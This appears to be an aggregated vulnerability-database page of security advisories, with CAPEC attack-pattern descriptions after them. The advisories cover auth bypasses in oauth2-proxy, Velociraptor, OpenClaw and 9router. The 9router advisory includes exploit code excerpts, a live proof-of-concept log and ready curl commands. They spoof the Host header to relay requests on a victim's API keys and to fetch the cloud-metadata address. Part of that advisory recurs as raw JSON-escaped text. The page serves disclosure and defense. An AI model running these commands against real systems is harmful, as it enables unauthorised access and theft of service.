Summary
OAuth2-Proxy has authentication bypass in oauth2-proxy skip_auth_routes due to Query Parameter inclusion
Details

Impact

This vulnerability affects oauth2-proxy deployments using the skip_auth_routes configuration option with regex patterns. The vulnerability allows attackers to bypass authentication by crafting URLs with query parameters that satisfy the configured regex patterns, potentially gaining unauthorized access to protected resources.

The issue stems from skip_auth_routes matching against the full request URI (path + query parameters) instead of just the path as documented. This discrepancy enables authentication bypass attacks where attackers append malicious query parameters to access protected endpoints.

Example Attack:

  • Configuration: skip_auth_routes = [ "^/foo/.*/bar$" ]
  • Intended behavior: Allow /foo/something/bar
  • Actual vulnerability: Also allows /foo/critical_endpoint?param=/bar

Deployments using skip_auth_routes with regex patterns containing wildcards or broad matching patterns are most at risk, especially when backend services ignore unknown query parameters.

Patches

A patch has been released with version v7.11.0.

Workarounds

Immediate mitigations:

  1. Review regex patterns: Audit all skip_auth_routes configurations for overly permissive patterns
  2. Use precise patterns: Replace wildcard patterns with exact path matches where possible
  3. Anchor patterns: Ensure regex patterns are properly anchored (start with ^ and end with $)
  4. Path-only matching: Consider implementing custom validation that strips query parameters before regex matching

Example secure configuration:

```toml

Instead of: "^/public/.*"

Use specific paths: "^/public/assets$", "^/public/health$"

skip_auth_routes = ["^/public/assets$", "^/public/health$", "^/api/status$"] ```

Vulnerability from github – Published: 2026-08-11 18:30 – Updated: 2026-08-11 18:30
VLAI
Details

When Velociraptor is configured to use an OIDC IdP for authentication, it uses the email claim as a username. However, some IdP allow users to change the email claim without verification. Some IdPs do not set the "email_verified" claim and do not actually verify the email.

This allows a user to impersonate another user by setting their email address within the IdP, allowing account takeover.

Vulnerability from github – Published: 2026-04-15 19:21 – Updated: 2026-07-21 13:50
VLAI
Summary
OAuth2 Proxy has an Authentication Bypass via X-Forwarded-Uri Header Spoofing
Details

Impact

A configuration-dependent authentication bypass exists in OAuth2 Proxy.

Deployments are affected when all of the following are true:

  • OAuth2 Proxy is configured with --reverse-proxy
  • and at least one rule is defined with --skip_auth_routes or the legacy --skip-auth-regex

OAuth2 Proxy may trust a client-supplied X-Forwarded-Uri header when --reverse-proxy is enabled and --skip-auth-route or --skip-auth-regex is configured. An attacker can spoof this header so OAuth2 Proxy evaluates authentication and skip-auth rules against a different path than the one actually sent to the upstream application.

This can result in an unauthenticated remote attacker bypassing authentication and accessing protected routes without a valid session.

Patches

This issue is addressed as part of the newly introduced --trusted-proxy-ip flag in v7.15.2. If you leave it unset, OAuth2 Proxy will continue to trust ALL source IPs (0.0.0.0/0) for backwards compatibility, which means a client may still be able to spoof forwarded headers. Therefore after upgrading we urge you to use the new --trusted-proxy-ip flag to set the IPs or CIDR ranges of the reverse proxies that are allowed to send X-Forwarded-* headers and furthermore implement the mitigation steps outlined below to properly configure your load balancer infrastructure.

Mitigation

  • Strip any client-provided X-Forwarded-Uri header at the reverse proxy or load balancer level
  • Explicitly overwrite X-Forwarded-Uri with the actual request URI before forwarding requests to OAuth2 Proxy

Example nginx mitigation for the auth subrequest: ``` location /internal-auth/ { internal; # Ensure external users can't access this path

  # Make sure the OAuth2 Proxy knows where the original request came from.
  proxy_set_header Host       $host;
  proxy_set_header X-Real-IP  $remote_addr;
  # set the value to the actual $request_uri and therefore strip any user provided X-Forwarded-Uri
  proxy_set_header X-Forwarded-Uri $request_uri;

  proxy_pass http://oauth2-proxy:4180/;
}

`` - Restrict direct client access to OAuth2 Proxy so it can only be reached through a trusted reverse proxy - Remove or narrow--skip-auth-route/--skip-auth-regex` rules where possible

Summary
OpenClaw: Forwarding header spoofing bypasses gateway.trustedProxies origin detection
Details

Summary

When gateway.trustedProxies was configured, spoofed loopback hops in forwarding headers could be accepted as the client origin and weaken downstream auth and rate-limit decisions.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected: < 2026.3.22
  • Fixed: >= 2026.3.22
  • Latest released tag checked: v2026.3.23-2 (630f1479c44f78484dfa21bb407cbe6f171dac87)
  • Latest published npm version checked: 2026.3.23-2

Fix Commit(s)

  • fc2d29ea926f47c428c556e92ec981441228d2a4

Release Status

The fix shipped in v2026.3.22 and remains present in v2026.3.23 and v2026.3.23-2.

Code-Level Confirmation

  • src/gateway/net.ts now ignores loopback forwarded hops before trusted-proxy client resolution.
  • That shipped origin fix is the one consumed by canvas auth and gateway auth-rate-limit paths that rely on resolved client identity.

OpenClaw thanks @lintsinghua for reporting.

Vulnerability from github – Published: 2026-08-28 18:33 – Updated: 2026-08-28 18:33
VLAI
Summary
9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF
Details

Summary

9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the /v1 LLM proxy) by reading the client-controlled Host header. Because 9router binds 0.0.0.0 by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send Host: localhost to be treated as local and obtain /v1 proxy access with no API key, no CLI token, and no dashboard login. In the default configuration (requireApiKey is absent from DEFAULT_SETTINGS, so the handler-side key check is skipped), this yields:

  • Open AI relay — the proxy forwards the attacker's requests to AI providers using the victim's stored paid API keys (cost/quota theft, prompt-based data exfiltration through the victim's accounts).

  • Unauthenticated SSRF — /v1/search with the built-in noAuth searxng provider takes its outbound fetch URL from the request body (provider_options.baseUrl), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.

  • Affected: 9router <= 0.4.80 (current), src/dashboardGuard.js (isLocalRequest), src/sse/handlers/{chat,search}.js, src/lib/db/repos/settingsRepo.js, cli/cli.js.

  • Distinct from the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy <0.3.75 authz bypass).

Details

The bypass (src/dashboardGuard.js)

function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase();
  return new Set(["localhost","127.0.0.1","::1"]).has(name); }
function isLocalRequest(request){
  if (!isLoopbackHostname(request.headers.get("host"))) return false;   // <-- client-controlled Host
  const origin = request.headers.get("origin");
  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }
  return true;
}
async function canAccessPublicLlmApi(request){
  if (isLocalRequest(request)) return true;     // <-- "local" => no key required
  if (await hasValidCliToken(request)) return true;
  return await hasValidApiKey(request);
}

isLocalRequest never consults the socket peer address — only the spoofable Host header (and an absent/loopback Origin). The /v1,/v1beta,/api/v1,/api/v1beta prefixes are gated solely by canAccessPublicLlmApi.

Default exposure

  • cli/cli.js:63 const DEFAULT_HOST = "0.0.0.0"; and Dockerfile ENV HOSTNAME=0.0.0.0 / EXPOSE 20128 → reachable from the network by default.
  • cli/cli.js:500,541 display "localhost" even when bound to 0.0.0.0 — operators believe it's local-only.
  • src/lib/db/repos/settingsRepo.js DEFAULT_SETTINGS has no requireApiKey → the handler key checks (chat.js if (settings.requireApiKey), search.js same) are skipped by default.

Relay chain (verbatim trace, 0.4.71)

middleware (src/proxy.js, matcher covers all paths) → canAccessPublicLlmApi true via spoofed Host → next.config.mjs rewrites /v1/:path*→/api/v1/:path* → src/app/api/v1/messages/route.js POST → handleChat (no independent auth) → only gate falsy requireApiKey → getProviderCredentials() loads the victim's stored credentials → handleChatCore outbound fetch → response returned. No downstream key gate.

SSRF chain

search.js (only gate falsy requireApiKey) → searxng noAuth:true ⇒ handleSearchCore({credentials:null}) → coreBody.provider_options = body.provider_options → callers.js:

export function resolveBaseUrl(config, params){
  const override = getProviderSetting(params, "baseUrl");   // reads params.providerOptions.baseUrl FIRST
  return (override || config.baseUrl).replace(/\/+$/, "");
}

→ buildSearxngRequest appends /search?q=...&format=json&categories=general → fetch(url) (server-side) → JSON reflected to caller.

PoC

Ground-truth, no network egress: harness/hostspoof.mjs (verbatim guard logic) and harness/ssrf_search.mjs (imports the real handleSearchCore + AI_PROVIDERS.searxng).

Guard bypass (hostspoof.mjs, exit 2):

attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS
   denied       honest remote (real Host)
*** ALLOWED ***  SPOOF Host: localhost (no Origin)
*** ALLOWED ***  SPOOF Host: 127.0.0.1
*** ALLOWED ***  SPOOF Host: localhost:20128
   denied       SPOOF Host + Origin evil (blocked)
RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.

SSRF (ssrf_search.mjs, real imported code):

[*] searxng configured baseUrl: http://localhost:8888/search
[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>
[*] credentials passed to core: null (noAuth => key-less attacker)
internal service reached by 9router process: true
path hit: /search?q=x&format=json&categories=general
data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}]
SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.

Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)

Built & ran 9router@0.4.71 (Next.js 16.2.9, bound 0.0.0.0:20128, default settings, no provider configured, no api key/login). Attacker = a request to the box's non-loopback LAN IP 10.204.111.34 (a genuine remote peer); only the Host header differs between the control and the attack:

(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128
    => HTTP 401 {"error":"API key required for remote API access"}      [guard blocks remote]

(B) spoofed Host: localhost:  POST /v1/search  Host: localhost
       body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}}
    => HTTP 200, and the attacker's listener logged:
       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1
    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.

(B') relay path POST /v1/messages, same Host-spoof:
       honest Host => 401 ;  Host: localhost => 404 {"error":"No active credentials for provider: openai"}
    => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).

Changing only the Host header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response reflection requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See repro/LIVE-EVIDENCE.txt.

Reproduce (against a network-reachable 9router; VICTIM_IP = the box):

# Open AI relay — no Authorization/x-api-key/cookie; victim's key pays:
curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'

# SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:
curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'

Impact

Any 9router reachable on a network (default 0.0.0.0 bind, plus Docker -p, tunnel, or tailscale — all first-class features) can be: - used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and - used to reach internal services / cloud metadata (169.254.169.254) with the response reflected to the attacker. Unauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider).

Recommended fix

  1. Determine "local" from the socket peer IP, never the Host header — treat as local only if the TCP peer is 127.0.0.0/8 / ::1.
  2. Bind 127.0.0.1 by default; require an explicit, warned opt-in for 0.0.0.0; fix the CLI to not print "localhost" when bound to all interfaces.
  3. For any non-loopback peer, require a valid API key regardless of requireApiKey; add requireApiKey: true to DEFAULT_SETTINGS (fail-closed).
  4. Validate provider_options.baseUrl against an allowlist (or drop the override) and block requests to private/link-local ranges in resolveBaseUrl.
  5. Remove Access-Control-Allow-Origin: * from /v1 GET metadata routes.

In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields:\n\n- **Open AI relay** \u2014 the proxy forwards the attacker\u0027s requests to AI providers using the **victim\u0027s stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim\u0027s accounts).\n- **Unauthenticated SSRF** \u2014 `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.\n\n- **Affected:** `9router \u003c= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`.\n- **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `\u003c0.3.75` authz bypass).\n\n## Details\n\n### The bypass (`src/dashboardGuard.js`)\n```js\nfunction isLoopbackHostname(h){ const name=h.split(\":\")[0].replace(/^\\[|\\]$/g,\"\").toLowerCase();\n  return new Set([\"localhost\",\"127.0.0.1\",\"::1\"]).has(name); }\nfunction isLocalRequest(request){\n  if (!isLoopbackHostname(request.headers.get(\"host\"))) return false;   // \u003c-- client-controlled Host\n  const origin = request.headers.get(\"origin\");\n  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }\n  return true;\n}\nasync function canAccessPublicLlmApi(request){\n  if (isLocalRequest(request)) return true;     // \u003c-- \"local\" =\u003e no key required\n  if (await hasValidCliToken(request)) return true;\n  return await hasValidApiKey(request);\n}\n```\n`isLocalRequest` never consults the **socket peer address** \u2014 only the spoofable `Host` header (and an absent/loopback `Origin`).

The only precondition is the normal one (\u22651 configured provider).\n\n## Recommended fix\n1. Determine \"local\" from the **socket peer IP**, never the `Host` header \u2014 treat as local only if the TCP peer is `127.0.0.0/8` / `::1`.\n2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print \"localhost\" when bound to all interfaces.\n3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed).\n4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`.\n5.

No mitigation information available for this CWE.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness

An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.

CAPEC-473: Signature Spoof

An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.

CAPEC-476: Signature Spoofing by Misrepresentation

An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-667: Bluetooth Impersonation AttackS (BIAS)

An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.
